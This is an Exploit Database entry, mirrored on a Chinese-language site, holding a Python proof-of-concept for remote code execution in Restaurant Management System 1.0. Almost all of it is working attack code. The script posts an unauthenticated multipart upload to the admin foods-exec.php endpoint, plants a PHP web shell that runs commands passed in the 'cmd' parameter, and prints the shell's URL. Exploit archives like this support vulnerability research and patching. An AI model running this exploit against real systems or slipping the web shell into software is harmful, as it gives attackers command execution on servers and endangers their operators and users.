Restaurant Management System 1.0 – Remote Code Execution

• Exploit Database
• 125 阅读

• 作者： Ibad Shah
  日期： 2019-10-17
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/47520/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74

  # Exploit Title: Restaurant Management System 1.0- Remote Code Execution # Date: 2019-10-16 # Exploit Author: Ibad Shah # Vendor Homepage: https://www.sourcecodester.com/users/lewa # Software Link: https://www.sourcecodester.com/php/11815/restaurant-management-system.html # Version: N/A # Tested on: Apache 2.4.41   #!/usr/bin/python   import requests import sys   print (""" __ ______________ _______ _ _ _| || |_|__ \|\/|/ ____| |____|| | (_) | |____| |__) | \/ | (___ | |_______ __ | | ____| |_ _| || |_|_/| |\/| |\___ \|__| \ \/ / &apos;_ \| |/ _ \| | __| |____| | \ \| || |____) | | |____ ><| |_) | | (_) | | |_ |_||_| |_|\_\_||_|_____/|______/_/\_\ .__/|_|\___/|_|\__| | | |_|     """) print ("Credits : All InfoSec (Raja Ji&apos;s) Group") url = sys.argv[1]   if len(sys.argv[1]) < 8: print("[+] Usage : python rms-rce.py http://localhost:80/") exit() print ("[+] Restaurant Management System Exploit, Uploading Shell")   target = url+"admin/foods-exec.php"       headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Length": "327", "Content-Type": "multipart/form-data; boundary=---------------------------191691572411478", "Connection": "close", "Referer": "http://localhost:8081/rms/admin/foods.php", "Cookie": "PHPSESSID=4dmIn4q1pvs4b79", "Upgrade-Insecure-Requests": "1"   }   data = """   -----------------------------191691572411478 Content-Disposition: form-data; name="photo"; filename="reverse-shell.php" Content-Type: text/html   <?php echo shell_exec($_GET["cmd"]); ?> -----------------------------191691572411478 Content-Disposition: form-data; name="Submit"   Add -----------------------------191691572411478-- """ r = requests.post(target,verify=False, headers=headers,data=data, proxies={"http":"http://127.0.0.1:8080"})     print("[+] Shell Uploaded. Please check the URL : "+url+"images/reverse-shell.php")